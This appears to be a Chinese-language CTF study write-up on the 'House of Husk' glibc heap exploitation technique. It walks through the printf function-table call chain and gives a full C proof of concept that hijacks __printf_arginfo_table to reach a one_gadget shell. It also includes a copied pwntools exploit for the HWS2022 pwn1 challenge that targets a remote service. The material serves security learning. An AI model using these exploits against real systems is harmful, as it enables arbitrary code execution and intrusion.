House of husk
挺早的时候就知道这个技术了,但是一直没去仔细学,直到HWS2022的比赛当中,pwn1又用到了该手段,所以来仔细学习一下
攻击原理 该方式主要是利用了printf的一个调用链,同时还需要存在UAF
通过查看其他师傅的文章和源码分析。在printf使用的时候,该函数会根据我们的格式化字符串的种类来进行输出, 在GLIBC中有这样一个函数__register_printf_function
,为格式化字符spec
的格式化输出注册函数,这个函数是__register_printf_specifier
函数的封装。
__register_printf_specifier源代码如下(libc-2.27.so)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int ) UCHAR_MAX) { __set_errno (EINVAL); return -1 ; } int result = 0 ; __libc_lock_lock (lock); if (__printf_function_table == NULL ) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1 , sizeof (void *) * 2 ); if (__printf_arginfo_table == NULL ) { result = -1 ; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1 ); } __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result; }
概括来说就是,如果格式化字符大小超过0xff或者小于0,则返回-1,否则判断__printf_function_table是否为NULL,假如为NULL则用calloc来申请堆存放 _printf_function_table和_printf_arginfo_table。
调用链 当function_table不为NULL时,调用链如下
printf
->vfprintf
-> printf_positional
最后会调用 printf_positional
如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 while (1 ) { extern printf_function **__printf_function_table; int function_done; if (spec <= UCHAR_MAX && __printf_function_table != NULL && __printf_function_table[(size_t ) spec] != NULL ) { const void **ptr = alloca (specs[nspecs_done].ndata_args * sizeof (const void *)); for (unsigned int i = 0 ; i < specs[nspecs_done].ndata_args; ++i) ptr[i] = &args_value[specs[nspecs_done].data_arg + i]; function_done = __printf_function_table[(size_t ) spec] <---------------最后调用到这里 (s, &specs[nspecs_done].info, ptr); if (function_done != -2 ) { if (function_done < 0 ) { done = -1 ; goto all_done; } done_add (function_done); break ; } }
POC
这里学习到了申请size可以设为两者之间的偏移之差
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #include <stdio.h> #include <stdlib.h> #define offset2size(ofs) ((ofs) * 2 - 0x10) #define MAIN_ARENA 0x3ebc40 #define MAIN_ARENA_DELTA 0x60 #define GLOBAL_MAX_FAST 0x3ed940 #define PRINTF_FUNCTABLE 0x3f0738 #define PRINTF_ARGINFO 0x3ec870 #define ONE_GADGET 0x10a41c int main (void ) { unsigned long libc_base; char *a[10 ]; setbuf(stdout , NULL ); a[0 ] = malloc (0x500 ); a[1 ] = malloc (offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2 ] = malloc (offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3 ] = malloc (0x500 ); free (a[0 ]); libc_base = *(unsigned long *)a[0 ] - MAIN_ARENA - MAIN_ARENA_DELTA; printf ("libc @ 0x%lx\n" , libc_base); *(unsigned long *)(a[2 ] + ('X' - 2 ) * 8 ) = libc_base + ONE_GADGET; *(unsigned long *)(a[0 ] + 8 ) = libc_base + GLOBAL_MAX_FAST - 0x10 ; a[0 ] = malloc (0x500 ); free (a[1 ]); free (a[2 ]); printf ("%X" , 0 ); return 0 ; }
POC分析 这里使用的poc就直接用攻击发现者提供的源代码,运行环境为ubuntu 18.04/glibc 2.27
,编译命令为gcc ./poc.c -g -fPIE -no-pie -o poc
(关闭pie方便调试)。
代码模拟了UAF漏洞,先分配一个超过fastbin的块,释放之后会进入unsorted bin
。预先分配两个chunk,第一个用来伪造__printf_function_table
,第二个用来伪造__printf_arginfo_table
。将__printf_arginfo_table['X']
处的函数指针改为one_gadget
。
使用unsorted bin attack
改写global_max_fast
为main_arena+88
从而使得释放的所有块都按fastbin处理(都是超过large bin大小的堆块不会进tcache)。
在这里有一个很重要的知识就是fastbin的堆块地址会存放在main_arena中,从main_arena+16
开始存放fastbin[0x20]
的头指针,一直往后推,由于平时的fastbin默认阈值为0x80
,所以在glibc-2.23的环境下最多存放到main_arena+0x48,现在我们将阈值改为0x7f*
导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据sz不同往libc覆写堆地址。如此一来,只要我们计算好__printf_arginfo_table
和main_arena
的地址偏移,进而得到合适的sz
,就可以在之后释放这个伪造table的chunk时覆写__printf_arginfo_table
为heap_addr
。
有了上述知识铺垫,整个攻击流程就比较清晰了,总结一下,先UAF改global_max_fast为main_arena+88,之后释放合适sz的块到fastbin,从而覆写__printf_arginfo_table
表为heap地址,heap['X']
被覆写为了one_gadget,在调用这个函数指针时即可get shell。
HWS PWN1 EXP( 复制 Mark0519 师傅的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context(os='linux' ,arch='amd64' ) context.log_level = 'debug' libc = ELF('./libc-2.27.so' ) elf = ELF("./pwn" ) local = 0 if local: p = process("./pwn" , env={"LD_PRELOAD" :"/home/sjj/glibc-all-in-one/2.27-3ubuntu1.2_amd64/libc-2.27.so" }) else : p = remote("1.13.162.249" ,"10001" ) def log (addr ): print ("[*]==>" +hex (addr)) def offset (num ): return num*2 arginfo = 4114544 function = 4130392 main_arena = libc.sym['__malloc_hook' ]-0x10 size_1 = offset(arginfo - main_arena)-0x50 size_2 = offset(function - main_arena)-0x50 log(size_1) log(size_2) p.sendlineafter("big box, what size?" ,str (size_1)) p.sendlineafter("bigger box, what size?" ,str (size_2)) p.sendlineafter(" rename?(y/n)" ,"y" ) p.recvuntil("Now your name is:" ) addr = u64(p.recvuntil('\x7f' ).ljust(8 ,"\x00" )) log(addr) libc_base = addr-libc.sym['__malloc_hook' ]-0x10 -96 log(libc_base) global_max_fast = libc_base + 4118848 ogg = [0x4f365 ,0x4f3c2 ,0x10a45c ] one_gadget = libc_base +ogg[2 ] log(one_gadget) payload = "a" *8 *(ord ('s' )-2 ) + p64(one_gadget)*2 p.sendlineafter("please input your new name!" ,p64(0 )+p64(global_max_fast-0x10 )) p.sendlineafter(" box or bigger box?(1:big/2:bigger)" ,str (1 )) p.sendlineafter("Let's edit," ,payload) p.interactive()
参考文章
Mark0519
xmzyshypnc